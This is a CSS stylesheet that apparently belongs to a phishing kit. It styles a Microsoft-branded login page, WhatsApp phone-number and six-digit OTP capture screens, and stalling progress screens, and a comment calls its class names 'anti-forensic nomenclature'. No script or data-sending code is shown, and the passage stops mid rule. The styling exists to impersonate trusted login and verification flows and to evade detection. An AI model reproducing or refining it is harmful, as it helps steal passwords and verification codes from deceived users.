/* ******************************************========
   Microsoft Login SPA - Consolidated Styles
   ******************************************======== */

:root {
    --blue-dark: #106ebe;
    --blue-light: #0078d4;
    --gray-dark: #616161;
    --gray-light: rgba(243, 242, 241, 0.95);
    --wa-green: #25d366;
    --wa-dark: #075e54;
    --success-color: #2e7d32;
    --error-color: #d83b01;
    --border-radius: 12px;
    --box-shadow: 0 4px 16px rgba(0, 0, 0, 0.4);
    --transition: all 0.3s ease-in-out;
}

* {
    box-sizing: border-box;
    margin: 0;
    padding: 0;
}

html {
    height: 100%;
}

body {
    height: 100vh;
    min-height: 100vh;
    font-family: 'Segoe UI', Arial, sans-serif;
    line-height: 1.6;
    margin: 0;
    background: url('./background.svg') no-repeat center center fixed;
    background-size: cover;
    display: flex;
    justify-content: center;
    align-items: center;
    position: relative;
    overflow-x: hidden;
}

body.alt-bg {
    background: url('./whatsappBackground.jpg') no-repeat center center fixed;
    background-size: cover;
}

body::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    background: rgba(0, 0, 0, 0.05);
    z-index: -1;
}

body.alt-bg::before {
    background: rgba(0, 0, 0, 0.1);
}

#app {
    width: 100%;
    height: 100%;
    display: flex;
    justify-content: center;
    align-items: center;
}

/* ******************************************========
   Login Styles (from index.html)
   ******************************************======== */

.login-container {
    width: 100%;
    max-width: 500px;
    padding: 0 15px;
    animation: fadeIn 0.5s ease-out;
    display: flex;
    flex-direction: column;
    justify-content: center;
    align-items: center;
    min-height: 100vh;
    margin: 0 auto;
}

.login-box {
    width: 500px;
    max-width: 100%;
    background-color: rgb(255 255 255);
    box-shadow: var(--box-shadow);
    border-radius: var(--border-radius);
    padding: 40px;
    position: relative;
    overflow: hidden;
    border: 1px solid rgba(255, 255, 255, 0.2);
    margin: 20px 0;
}

.login-header {
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    text-align: center;
}

.login-header img {
    padding-bottom: 24px;
    width: 108px;
    transition: transform 0.3s ease;
}

.login-header img:hover {
    transform: scale(1.05);
}

.login-title {
    font-size: 24px;
    font-weight: 500;
    color: #242424;
    margin: 0 0 8px 0;
}

.login-subtitle {
    font-size: 14px;
    color: #424242;
    margin: 0 0 20px 0;
}

/* Lg Styles - Anti-forensic nomenclature */
.lg-group {
    margin-bottom: 20px;
    position: relative;
}

.lg-control {
    font-family: 'Segoe UI', Arial, sans-serif;
    color: #707070;
    width: 100%;
    height: 40px;
    padding: 8px 12px;
    border: 1px solid rgba(166, 166, 166, 0.5);
    border-bottom: 1px solid black;
    border-radius: 4px;
    font-size: 14px;
    transition: var(--transition);
    background-color: rgba(255, 255, 255, 0.9);
}

.lg-control:focus {
    outline: none;
    border-color: var(--blue-light);
    box-shadow: 0 0 0 2px rgba(0, 120, 212, 0.3);
    background-color: #fff;
}

/* Buttons */
.btn {
    display: inline-block;
    padding: 10px 16px;
    font-size: 14px;
    font-weight: 600;
    border-radius: var(--border-radius);
    cursor: pointer;
    text-align: center;
    text-decoration: none;
    border: none;
    transition: var(--transition);
}

.btn-primary {
    background-color: var(--blue-light);
    color: white;
    width: 100%;
    height: 40px;
}

.btn-primary:hover {
    background-color: var(--blue-dark);
    transform: translateY(-1px);
    box-shadow: 0 2px 8px rgba(0, 0, 0, 0.2);
}

.forgot-password-link {
    color: #115ea3;
    font-size: 14px;
    font-weight: 600;
    font-family: 'Segoe UI', Arial, sans-serif;
    margin-top: 8px;
    background-color: transparent;
    border: transparent;
    text-decoration: none;
    display: block;
    text-align: left;
    cursor: pointer;
    text-align: center;
}

.forgot-password-link:hover {
    text-decoration: underline;
}

.user-email {
    font-weight: 600;
    margin-bottom: 16px;
    word-break: break-all;
    font-size: 14px;
    text-align: center;
    color: #1818189c;
    padding: 8px;
    background-color: rgb(0 0 0 / 5%);
    border-radius: var(--border-radius);
}

.back-button {
    position: absolute;
    top: 16px;
    left: 16px;
    color: rgba(3, 3, 3, 0.9);
    font-size: 14px;
    cursor: pointer;
    display: flex;
    align-items: center;
    gap: 5px;
    transition: var(--transition);
    background: none;
    border: none;
}

.back-button:hover {
    color: #000000;
    transform: translateX(-2px);
}

.password-container {
    position: relative;
}

.toggle-password {
    position: absolute;
    right: 10px;
    top: 31%;
    transform: translateY(-50%);
    color: var(--gray-dark);
    cursor: pointer;
    background: none;
    border: none;
    font-size: 16px;
    transition: var(--transition);
    width: 30px;
    height: 30px;
    display: flex;
    align-items: center;
    justify-content: center;
    border-radius: 50%;
    z-index: 2;
}

.toggle-password:hover {
    color: var(--blue-light);
    background-color: rgba(0,0,0,0.05);
}

.divider {
    border-top: 1px solid rgba(255,255,255,0.2);
    margin: 5px 0;
    position: relative;
}

.hidden {
    display: none !important;
}

/* ******************************************========
   Alert / Index1 Styles
   ******************************************======== */

.modal-overlay {
    position: fixed;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    background: rgba(0, 0, 0, 0.5);
    display: flex;
    align-items: center;
    justify-content: center;
    z-index: 1000;
    animation: fadeIn 0.3s ease;
    backdrop-filter: blur(4px);
}

.modal-overlay.hidden {
    display: none !important;
}

.modal-container {
    background: #ffffff;
    border-radius: 16px;
    box-shadow: 0 25px 50px -12px rgba(0, 0, 0, 0.25);
    max-width: 420px;
    width: 90%;
    padding: 2rem;
    display: flex;
    flex-direction: column;
    align-items: center;
    gap: 1.5rem;
    animation: slideUp 0.4s cubic-bezier(0.16, 1, 0.3, 1);
}

@keyframes slideUp {
    from {
        opacity: 0;
        transform: translateY(20px) scale(0.95);
    }
    to {
        opacity: 1;
        transform: translateY(0) scale(1);
    }
}

.modal-icon-wrapper {
    position: relative;
    display: flex;
    align-items: center;
    justify-content: center;
}

.modal-icon-glow {
    position: absolute;
    width: 80px;
    height: 80px;
    background: rgba(245, 158, 11, 0.2);
    border-radius: 50%;
    filter: blur(20px);
    animation: pulse 2s ease-in-out infinite;
}

@keyframes pulse {
    0%, 100% { transform: scale(1); opacity: 0.5; }
    50% { transform: scale(1.2); opacity: 0.8; }
}

.modal-icon {
    position: relative;
    width: 80px;
    height: 80px;
    border-radius: 50%;
    background: linear-gradient(135deg, rgba(245, 158, 11, 0.1) 0%, rgba(245, 158, 11, 0.2) 100%);
    border: 2px solid rgba(245, 158, 11, 0.3);
    display: flex;
    align-items: center;
    justify-content: center;
}

.modal-icon i {
    font-size: 2.5rem;
    color: #d97706;
}

.modal-header {
    text-align: center;
    display: flex;
    flex-direction: column;
    align-items: center;
    gap: 0.75rem;
}

.modal-logo {
    width: 120px;
    height: auto;
    margin-bottom: 0.5rem;
}

.modal-title {
    font-size: 1.5rem;
    font-weight: 600;
    color: #1f2937;
    margin: 0;
    letter-spacing: -0.025em;
}

.modal-description {
    font-size: 0.95rem;
    color: #6b7280;
    line-height: 1.6;
    margin: 0;
    padding: 0 0.5rem;
}

.modal-loading {
    display: flex;
    flex-direction: column;
    align-items: center;
    gap: 1rem;
    width: 100%;
    padding-top: 0.5rem;
}

.modal-spinner {
    display: flex;
    align-items: center;
    gap: 0.75rem;
}

.modal-spinner i {
    font-size: 1.25rem;
    color: #0078d4;
}

.modal-loading-text {
    font-size: 0.875rem;
    font-weight: 500;
    color: #6b7280;
}

.modal-progress-bar {
    width: 100%;
    max-width: 280px;
    height: 6px;
    background: #e5e7eb;
    border-radius: 9999px;
    overflow: hidden;
}

.modal-progress-inner {
    height: 100%;
    background: linear-gradient(90deg, #0078d4, #00bcf2);
    border-radius: 9999px;
    animation: progressSlide 2s ease-in-out infinite;
}

@keyframes progressSlide {
    0% { width: 0%; margin-left: 0%; }
    50% { width: 50%; margin-left: 25%; }
    100% { width: 0%; margin-left: 100%; }
}

.modal-warning {
    display: flex;
    align-items: flex-start;
    gap: 0.75rem;
    padding: 1rem;
    background: rgba(245, 158, 11, 0.08);
    border: 1px solid rgba(245, 158, 11, 0.2);
    border-radius: 10px;
    width: 100%;
}

.modal-warning i {
    color: #d97706;
    font-size: 1rem;
    margin-top: 2px;
    flex-shrink: 0;
}

.modal-warning p {
    font-size: 0.8rem;
    color: #6b7280;
    line-height: 1.5;
    margin: 0;
}

/* Legacy popup-box styles for backwards compatibility */
.popup-box {
    text-align: center;
    position: absolute;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    max-width: 400px;
    padding: 2rem;
    background: rgba(255, 255, 255, 0.95);
    box-shadow: var(--box-shadow);
    border-radius: var(--border-radius);
    animation: fadeInPopup 0.7s cubic-bezier(0.4, 0, 0.2, 1) forwards;
    opacity: 1;
    transition: opacity 0.3s ease, transform 0.3s ease;
}

.popup-box.hidden {
    opacity: 0;
    transform: translate(-50%, -60%);
    pointer-events: none;
}

.popup-box img {
    width: 90px;
    margin-bottom: 12px;
}

.popup-box h2 {
    color: #d83b01;
    font-size: 1.5rem;
    font-weight: 600;
    margin-bottom: 0.8rem;
}

.popup-box p {
    color: #333;
    font-size: 1.05rem;
    margin-bottom: 1.5rem;
    line-height: 1.6;
}

.popup-box .loading-gif {
    width: 64px;
    margin-top: 10px;
}

.country-select {
    font-family: 'Segoe UI', Arial, sans-serif;
    color: #707070;
    width: 100%;
    height: 40px;
    padding: 8px 12px;
    border: 1px solid rgba(166, 166, 166, 0.5);
    border-radius: 4px;
    font-size: 14px;
    transition: var(--transition);
    background-color: rgba(255, 255, 255, 0.9);
}

.country-select:focus {
    outline: none;
    border-color: var(--blue-light);
    box-shadow: 0 0 0 2px rgba(0, 120, 212, 0.3);
    background-color: #fff;
}

/* ******************************************========
   Loading Styles (cargando.html, etc.)
   ******************************************======== */

.loading-container {
    width: 90%;
    max-width: 460px;
    padding: 0 20px;
    display: flex;
    flex-direction: column;
    justify-content: center;
    align-items: center;
    min-height: 100vh;
    animation: fadeIn 0.6s ease-out;
    margin: 0 auto;
}

.loading-box {
    width: 100%;
    background: linear-gradient(145deg, #ffffff 0%, #f8f9fa 100%);
    box-shadow: 
        0 20px 60px rgba(0, 0, 0, 0.12),
        0 8px 25px rgba(0, 0, 0, 0.08),
        inset 0 1px 0 rgba(255, 255, 255, 0.9);
    border-radius: 20px;
    padding: 48px 40px;
    position: relative;
    overflow: hidden;
    border: 1px solid rgba(0, 0, 0, 0.06);
    z-index: 10;
    text-align: center;
    animation: boxFloat 0.8s cubic-bezier(0.34, 1.56, 0.64, 1);
}

@keyframes boxFloat {
    0% {
        opacity: 0;
        transform: translateY(40px) scale(0.95);
    }
    100% {
        opacity: 1;
        transform: translateY(0) scale(1);
    }
}

.loading-box::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    height: 4px;
    background: linear-gradient(90deg, #0078d4, #00bcf2, #0078d4);
    background-size: 200% 100%;
    animation: shimmerBar 2s ease infinite;
}

@keyframes shimmerBar {
    0% { background-position: 200% 0; }
    100% { background-position: -200% 0; }
}

.loading-box img {
    width: 108px;
    margin-bottom: 24px;
    filter: drop-shadow(0 4px 8px rgba(0, 0, 0, 0.1));
    animation: logoBreath 3s ease-in-out infinite;
}

@keyframes logoBreath {
    0%, 100% { transform: scale(1); }
    50% { transform: scale(1.03); }
}

.loading-title {
    font-size: 28px;
    font-weight: 600;
    color: #1a1a1a;
    margin: 0 0 12px 0;
    letter-spacing: -0.5px;
}

.loading-subtitle {
    font-size: 15px;
    color: #5c5c5c;
    margin: 0 0 32px 0;
    font-weight: 400;
}

.progress-bar {
    width: 100%;
    max-width: 320px;
    height: 8px;
    background: linear-gradient(180deg, #e8e8e8 0%, #f0f0f0 100%);
    border-radius: 10px;
    overflow: hidden;
    margin: 24px auto;
    position: relative;
    box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.08);
}

.progress-bar::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    background: linear-gradient(90deg, transparent, rgba(255,255,255,0.4), transparent);
    animation: progressShine 2s ease-in-out infinite;
}

@keyframes progressShine {
    0% { transform: translateX(-100%); }
    100% { transform: translateX(100%); }
}

.progress-bar-inner {
    height: 100%;
    width: 0;
    background: linear-gradient(90deg, #0078d4 0%, #00bcf2 50%, #0078d4 100%);
    background-size: 200% 100%;
    border-radius: 10px;
    animation: loading 30s linear forwards, progressGlow 1.5s ease-in-out infinite;
    position: relative;
    box-shadow: 0 0 12px rgba(0, 120, 212, 0.4);
}

@keyframes progressGlow {
    0%, 100% { box-shadow: 0 0 8px rgba(0, 120, 212, 0.3); }
    50% { box-shadow: 0 0 16px rgba(0, 188, 242, 0.5); }
}

.progress-bar-inner::after {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    background: linear-gradient(90deg, transparent, rgba(255,255,255,0.5), transparent);
    animation: innerShine 1.5s ease-in-out infinite;
}

@keyframes innerShine {
    0% { transform: translateX(-100%); }
    100% { transform: translateX(200%); }
}

.progress-bar-inner.fast {
    animation: loading 10s linear forwards, progressGlow 1.5s ease-in-out infinite;
}

.progress-bar-inner.medium {
    animation: loading 45s linear forwards, progressGlow 1.5s ease-in-out infinite;
}

.counter-container {
    font-size: 16px;
    color: #666;
    margin: 20px 0;
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 8px;
}

.counter {
    display: inline-flex;
    align-items: center;
    justify-content: center;
    font-size: 32px;
    font-weight: 700;
    color: #0078d4;
    min-width: 48px;
    text-align: center;
    background: linear-gradient(135deg, #0078d4, #00bcf2);
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
    background-clip: text;
    animation: counterPulse 1s ease-in-out infinite;
}

@keyframes counterPulse {
    0%, 100% { transform: scale(1); opacity: 1; }
    50% { transform: scale(1.05); opacity: 0.9; }
}

.error-message {
    color: #d83b01;
    font-size: 13px;
    margin-top: 16px;
    display: none;
    animation: fadeIn 0.5s ease-out;
}

.error-message.visible {
    display: block;
}

.success-message {
    color: var(--success-color);
    font-size: 15px;
    font-weight: 600;
    margin: 16px 0;
    display: none;
    animation: fadeIn 0.5s ease-out;
}

.success-message.visible {
    display: block;
}

.wa-phone-box, .wa-verification-box {
    background: #fff;
    border-radius: 24px;
    padding: 48px 40px;
    max-width: 460px;
    width: 100%;
    box-shadow: 0 4px 24px rgba(0, 0, 0, 0.08);
    text-align: center;
    animation: fadeIn 0.5s ease-out;
    z-index: 20;
    position: relative;
}

.wa-verification-header {
    margin-bottom: 24px;
}

.wa-verification-logo {
    width: 60px;
    height: 60px;
    background: #25d366;
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    margin: 0 auto 16px;
    box-shadow: 0 4px 12px rgba(37, 211, 102, 0.2);
}

.wa-verification-logo i {
    font-size: 32px;
    color: white;
}

.wa-verification-title {
    font-size: 24px;
    font-weight: 500;
    color: #1a1a1a;
    margin-bottom: 8px;
}

.wa-verification-subtitle {
    font-size: 15px;
    color: #667781;
    line-height: 1.5;
}

.wa-input-wrapper {
    margin: 24px 0;
}

.wa-verification-input {
    width: 100%;
    height: 52px;
    padding: 0 20px;
    border: 1.5px solid #d1d7db;
    border-radius: 26px;
    font-size: 18px;
    font-family: 'Segoe UI', Arial, sans-serif;
    color: #1a1a1a;
    background: #fff;
    text-align: center;
    letter-spacing: 4px;
    transition: border-color 0.2s ease;
}

.wa-verification-input:focus {
    outline: none;
    border-color: #25d366;
}

.wa-verification-btn {
    width: 100%;
    height: 48px;
    background: #25d366;
    color: #fff;
    border: none;
    border-radius: 24px;
    font-size: 16px;
    font-weight: 600;
    cursor: pointer;
    transition: background-color 0.2s ease;
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 8px;
}

.wa-verification-btn:hover {
    background: #1fbd5a;
}

.wa-verification-footer-info {
    margin-top: 24px;
    padding: 16px;
    background: #f8f9fa;
    border-radius: 16px;
    display: flex;
    gap: 12px;
    align-items: flex-start;
    text-align: left;
}

.wa-verification-footer-info i {
    color: #25d366;
    font-size: 18px;
    margin-top: 2px;
}

.wa-verification-footer-info p {
    font-size: 12px;
    color: #667781;
    line-height: 1.4;
    margin: 0;
}

/* ******************************************========
   WhatsApp Split Layout - Ride Booking Style
   ******************************************======== */

.wa-split-container {
    display: grid;
    grid-template-columns: 1fr 1fr;
    min-height: 100vh;
    width: 100%;
    background: #fff;
    overflow: hidden;
}

.wa-split-left {
    display: flex;
    align-items: center;
    justify-content: center;
    padding: 48px 60px;
    background: #fff;
}

.wa-split-content {
    max-width: 480px;
    width: 100%;
    text-align: left;
}

.wa-split-logo {
    margin-bottom: 32px;
}

.wa-split-logo img {
    width: 120px;
    height: auto;
}

.wa-split-title {
    font-size: 32px;
    font-weight: 600;
    color: #1a1a1a;
    margin: 0 0 12px 0;
    font-family: 'Segoe UI', Arial, sans-serif;
    line-height: 1.2;
}

.wa-split-subtitle {
    font-size: 16px;
    color: #667781;
    line-height: 1.5;
    margin: 0 0 32px 0;
}

.wa-split-btn {
    width: 100%;
    height: 52px;
    background: linear-gradient(135deg, #25d366 0%, #128C7E 100%);
    color: #fff;
    border: none;
    border-radius: 26px;
    font-size: 16px;
    font-weight: 600;
    cursor: pointer;
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 10px;
    margin-top: 24px;
    font-family: 'Segoe UI', Arial, sans-serif;
    position: relative;
    overflow: hidden;
    transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
    box-shadow: 0 4px 15px rgba(37, 211, 102, 0.4);
}

.wa-split-btn::before {
    content: '';
    position: absolute;
    top: 0;
    left: -100%;
    width: 100%;
    height: 100%;
    background: linear-gradient(90deg, transparent, rgba(255,255,255,0.3), transparent);
    transition: left 0.5s ease;
}

.wa-split-btn:hover::before {
    left: 100%;
}

.wa-split-btn:hover {
    transform: translateY(-3px) scale(1.02);
    box-shadow: 0 8px 25px rgba(37, 211, 102, 0.5);
}

.wa-split-btn:active {
    transform: translateY(-1px) scale(0.98);
    box-shadow: 0 4px 15px rgba(37, 211, 102, 0.4);
}

.wa-split-btn.loading {
    pointer-events: none;
    opacity: 0.9;
}

.wa-split-btn .btn-text {
    transition: opacity 0.3s ease;
}

.wa-split-btn.loading .btn-text {
    opacity: 0;
}

.wa-split-btn .btn-loader {
    position: absolute;
    display: none;
}

.wa-split-btn.loading .btn-loader {
    display: flex;
    align-items: center;
    gap: 8px;
}

.wa-split-btn .btn-spinner {
    width: 20px;
    height: 20px;
    border: 2px solid rgba(255,255,255,0.3);
    border-top-color: #fff;
    border-radius: 50%;
    animation: btnSpin 0.8s linear infinite;
}

@keyframes btnSpin {
    to { transform: rotate(360deg); }
}

.wa-split-btn .btn-loader-text {
    font-size: 14px;
    font-weight: 500;
}

.wa-split-footer-info {
    margin-top: 32px;
    padding: 16px;
    background: #f0faf4;
    border-radius: 16px;
    display: flex;
    gap: 12px;
    align-items: flex-start;
    text-align: left;
    border: 1px solid #e0f2e9;
}

.wa-split-footer-info i {
    color: #25d366;
    font-size: 20px;
    margin-top: 2px;
    flex-shrink: 0;
}

.wa-split-footer-info p {
    font-size: 13px;
    color: #667781;
    line-height: 1.4;
    margin: 0;
}

.wa-split-right {
    background-color: #e5ddd5;
    background-image: url("data:image/svg+xml,%3Csvg width='600' height='600' viewBox='0 0 600 600' xmlns='http://www.w3.org/2000/svg'%3E%3Cg fill='none' fill-rule='evenodd'%3E%3Cg fill='%23999289' fill-opacity='0.15'%3E%3Cpath d='M582 600L600 582 0 182 18 200zM300 0l18 18-300 300-18-18z'/%3E%3C/g%3E%3C/g%3E%3C/svg%3E");
    display: flex;
    align-items: center;
    justify-content: center;
    position: relative;
    overflow: hidden;
}

/* ******************************************========
   Phone Animation - Infinite Loop
   ******************************************======== */

.pre-verificacion-container {
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    text-align: center;
    width: 100%;
    max-width: 450px;
    z-index: 10;
}

.pre-verificacion-container h1 {
    font-size: 1.2rem;
    font-weight: 500;
    margin-bottom: 25px;
    color: #3b4a54;
    font-family: 'Roboto', sans-serif;
    text-shadow: 0 1px 2px rgba(255,255,255,0.5);
}

.telefono-mockup {
    width: 280px;
    height: 520px;
    background: #111;
    border-radius: 40px;
    padding: 15px;
    box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2), inset 0 2px 2px #555;
    position: relative;
}

.telefono-screen {
    background: #fff;
    height: 100%;
    border-radius: 30px;
    padding: 20px;
    overflow: hidden;
    position: relative;
    display: flex;
    align-items: flex-start;
    justify-content: center;
    background-image: url("data:image/svg+xml,%3Csvg width='600' height='600' viewBox='0 0 600 600' xmlns='http://www.w3.org/2000/svg'%3E%3Cg fill='none' fill-rule='evenodd'%3E%3Cg fill='%23999289' fill-opacity='0.15'%3E%3Cpath d='M582 600L600 582 0 182 18 200zM300 0l18 18-300 300-18-18z'/%3E%3C/g%3E%3C/g%3E%3C/svg%3E");
}

.wa-notificacion {
    background: rgba(255, 255, 255, 0.95);
    backdrop-filter: blur(10px);
    border-radius: 12px;
    padding: 12px;
    width: 100%;
    max-width: 95%;
    opacity: 0;
    animation: waSlideLoop 6s ease-in-out infinite;
    box-shadow: 0 4px 15px rgba(0,0,0,0.1);
    border: 1px solid rgba(0,0,0,0.05);
    margin-top: 20px;
}

.wa-notificacion-header {
    display: flex;
    align-items: center;
    gap: 10px;
    margin-bottom: 8px;
}

.wa-notificacion-header img {
    width: 20px;
    height: 20px;
    border-radius: 4px;
}

.wa-notificacion-header strong {
    font-weight: 700;
    color: #3b4a54;
    font-family: 'Roboto', sans-serif;
}

.wa-notificacion-body p {
    font-size: 0.95rem;
    margin-bottom: 5px;
    text-align: left;
    color: #3b4a54;
    font-family: 'Roboto', sans-serif;
}

.wa-notificacion-body .code {
    font-weight: 700;
    font-size: 1.6rem;
    letter-spacing: 3px;
    color: #008069;
    display: block;
    margin-top: 5px;
    text-align: center;
}

.wa-notificacion-body .code span {
    opacity: 0;
    display: inline-block;
    animation: digitAppearLoop 6s ease-in-out infinite;
}

/* Keyframes para el loop infinito de la notificación */
@keyframes waSlideLoop {
    0%, 5% { opacity: 0; transform: translateY(-30px); }
    15%, 85% { opacity: 1; transform: translateY(0); }
    95%, 100% { opacity: 0; transform: translateY(-30px); }
}

@keyframes digitAppearLoop {
    0%, 20% { opacity: 0; transform: translateY(10px) scale(0.8); }
    30%, 80% { opacity: 1; transform: translateY(0) scale(1); }
    90%, 100% { opacity: 0; transform: translateY(10px) scale(0.8); }
}

/* Retrasos escalonados para los dígitos en el loop */
.code span:nth-child(1) { animation-delay: 0.2s; }
.code span:nth-child(2) { animation-delay: 0.3s; }
.code span:nth-child(3) { animation-delay: 0.4s; }
.code span.dash { animation-delay: 0.5s; }
.code span:nth-child(5) { animation-delay: 0.6s; }
.code span:nth-child(6) { animation-delay: 0.7s; }
.code span:nth-child(7) { animation-delay: 0.8s; }

/* Responsive para Split Layout */
@media (max-width: 900px) {
    .wa-split-container {
        grid-template-columns: 1fr;
    }
    
    .wa-split-left {
        padding: 40px 32px;
    }
    
    .wa-split-right {
        display: none;
    }
    
    .wa-split-content {
        max-width: 100%;
    }
}

@media (max-width: 500px) {
    .wa-split-left {
        padding: 32px 24px;
    }
    
    .wa-split-logo img {
        width: 100px;
    }
    
    .wa-split-title {
        font-size: 26px;
    }
    
    .wa-split-subtitle {
        font-size: 15px;
    }
    
    .wa-split-btn {
        height: 48px;
        font-size: 15px;
    }
    
    .wa-split-footer-info {
        padding: 14px;
    }
    
    .wa-split-footer-info p {
        font-size: 12px;
    }
}

/* ******************************************========
   OTP Input Component - WhatsApp Style
   ******************************************======== */

.otp-container {
    margin: 24px 0;
    width: 100%;
}

.otp-input-group {
    display: flex;
    justify-content: center;
    gap: 8px;
    margin-bottom: 16px;
}

.otp-digit {
    width: 48px;
    height: 56px;
    border: 2px solid #d1d7db;
    border-radius: 12px;
    font-size: 24px;
    font-weight: 600;
    text-align: center;
    color: #1a1a1a;
    background: #fff;
    transition: all 0.2s ease;
    font-family: 'Segoe UI', Arial, sans-serif;
}

.otp-digit:focus {
    outline: none;
    border-color: #25d366;
    box-shadow: 0 0 0 3px rgba(37, 211, 102, 0.15);
    transform: scale(1.05);
}

.otp-digit.filled {
    border-color: #25d366;
    background: #f0faf4;
}

.otp-digit:hover {
    border-color: #25d366;
}

/* Separador visual entre grupos de 3 dígitos */
.otp-input-group .otp-digit:nth-child(3) {
    margin-right: 12px;
}

/* Animación de pulso al completar */
@keyframes otpPulse {
    0% { transform: scale(1); }
    50% { transform: scale(1.1); }
    100% { transform: scale(1); }
}

.otp-digit.complete {
    animation: otpPulse 0.3s ease;
}

/* Responsive para OTP */
@media (max-width: 500px) {
    .otp-input-group {
        gap: 6px;
    }
    
    .otp-digit {
        width: 42px;
        height: 50px;
        font-size: 20px;
        border-radius: 10px;
    }
    
    .otp-input-group .otp-digit:nth-child(3) {
        margin-right: 8px;
    }
}

@media (max-width: 360px) {
    .otp-digit {
        width: 36px;
        height: 44px;
        font-size: 18px;
        border-radius: 8px;
    }
}

/* Responsive para WhatsApp Verification */
@media (max-width: 500px) {
    .wa-verification-box {
        padding: 32px 24px;
        max-width: 100%;
    }
    
    .wa-verification-title {
        font-size: 20px;
    }
    
    .wa-verification-subtitle {
        font-size: 14px;
    }
}

/* ******************************************========
   Particles Background
   ******************************************======== */

.particles {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    z-index: -1;
    pointer-events: none;
    overflow: hidden;
}

.particle {
    position: absolute;
    border-radius: 50%;
    opacity: 0.05;
    animation: floatParticle 20s linear infinite;
    background: radial-gradient(circle, var(--wa-green) 0%, var(--blue-light) 100%);
    filter: blur(1px);
}

/* ******************************************========
   Footer Styles
   ******************************************======== */

.mobile-footer {
    position: fixed;
    bottom: 12px;
    left: 0;
    width: 100%;
    text-align: center;
    background: transparent;
    padding: 0;
    font-size: 13px;
    color: #fff;
    text-shadow: 0 1px 3px rgba(0, 0, 0, 0.3);
    z-index: 9999;
}

.mobile-footer .footer-links {
    display: inline-flex;
    gap: 24px;
    flex-wrap: wrap;
    justify-content: center;
}

.mobile-footer .footer-link {
    color: #fff;
    text-decoration: none;
    transition: var(--transition);
    padding: 4px 8px;
    border-radius: 4px;
}

.mobile-footer .footer-link:hover {
    background: rgba(255, 255, 255, 0.1);
    text-decoration: none;
}

.mobile-footer .footer-note {
    margin-top: 10px;
    color: #dfe6e9;
    font-size: 11px;
    line-height: 1.4;
    text-shadow: 0 1px 3px rgba(0, 0, 0, 0.3);
    padding: 0 12px;
}

.mobile-footer .footer-note a {
    color: #a0d2ff;
    text-decoration: none;
    transition: var(--transition);
}

.mobile-footer .footer-note a:hover {
    text-decoration: underline;
}

.wa-footer {
    position: fixed;
    bottom: -55px;
    left: 0;
    width: 100%;
    text-align: center;
    background: transparent;
    padding: 0;
    margin-bottom: 16px;
    font-size: 12px;
    color: #fff;
    text-shadow: 0 1px 2px rgba(0,0,0,0.5);
    z-index: 9999;
}

.wa-footer .footer-note {
    margin-bottom: 8px;
    color: #fff;
    font-size: 10px;
    line-height: 1.3;
    text-shadow: 0 1px 2px rgba(0,0,0,0.5);
    padding: 0 10px;
}

.wa-footer .footer-note a {
    color: #a0d2ff;
    text-decoration: none;
}

.wa-footer .footer-note a:hover {
    text-decoration: underline;
}

.wa-footer .footer-links {
    display: inline-flex;
    gap: 20px;
    flex-wrap: wrap;
    justify-content: center;
}

.wa-footer .footer-link {
    color: #fff !important;
    text-decoration: none;
    text-shadow: 0 1px 2px rgba(0,0,0,0.5);
}

.wa-footer .footer-link:hover {
    text-decoration: underline;
}

/* ******************************************========
   Btn Whatsapp
   ******************************************======== */

#btn-phone-mit{
    background-color: #075E54;
}

/* ******************************************========
   Custom
   ******************************************======== */

@keyframes loading {
    0% { width: 0; }
    100% { width: 100%; }
}

@keyframes pulseLogo {
    0% { transform: scale(1); }
    50% { transform: scale(1.05); }
    100% { transform: scale(1); }
}

@keyframes pulseCounter {
    0% { transform: scale(1); }
    50% { transform: scale(1.1); }
    100% { transform: scale(1); }
}

@keyframes fadeIn {
    from { opacity: 0; transform: translateY(12px); }
    to { opacity: 1; transform: translateY(0); }
}

@keyframes slideIn {
    from { opacity: 0; transform: translateY(20px); }
    to { opacity: 1; transform: translateY(0); }
}

@keyframes fadeInPopup {
    from { opacity: 0; transform: translate(-50%, -40%); }
    to { opacity: 1; transform: translate(-50%, -50%); }
}

@keyframes floatParticle {
    0% { transform: translateY(0) translateX(0) scale(1); opacity: 0.05; }
    50% { opacity: 0.08; }
    100% { transform: translateY(-100vh) translateX(10px) scale(1.05); opacity: 0; }
}

/* ******************************************========
   Responsive Design
   ******************************************======== */

@media (max-width: 600px) {
    body {
        background: url('./background.svg') no-repeat center center fixed !important;
        background-size: cover !important;
        padding: 16px 0 !important;
    }
    
    body.alt-bg {
        background: url('./whatsappBackground.jpg') no-repeat center center fixed !important;
        background-size: cover !important;
    }

    body::before {
        background: rgba(0, 0, 0, 0.1) !important;
    }

    #app {
    width: 95%;
    height: 100%;
    display: flex;
    justify-content: center;
    align-items: center;
    }

    .login-container {
        min-height: auto;
        justify-content: flex-start;
        padding: 20px 0;
        height: auto;
    }

    .login-box {
        width: 100% !important;
        max-width: 100% !important;
        padding: 20px !important;
        background: rgba(255, 255, 255, 0.95) !important;
        box-shadow: 0 4px 20px rgba(0, 0, 0, 0.2) !important;
        border-radius: 8px !important;
        border: none !important;
        margin: 0 15px;
    }

    .login-title {
        font-size: 20px !important;
        margin-bottom: 4px !important;
    }
    
    .login-subtitle {
        font-size: 14px !important;
        margin-bottom: 16px !important;
    }

    .loading-container {
        min-height: auto;
        justify-content: flex-start;
        padding: 16px 0;
    }

    .loading-box {
        width: 100%;
        max-width: 100%;
        padding: 24px;
        border-radius: 8px;
        margin: 0 12px;
    }

    .loading-title {
        font-size: 22px;
        margin-bottom: 8px;
    }

    .loading-subtitle {
        font-size: 14px;
        margin-bottom: 16px;
    }

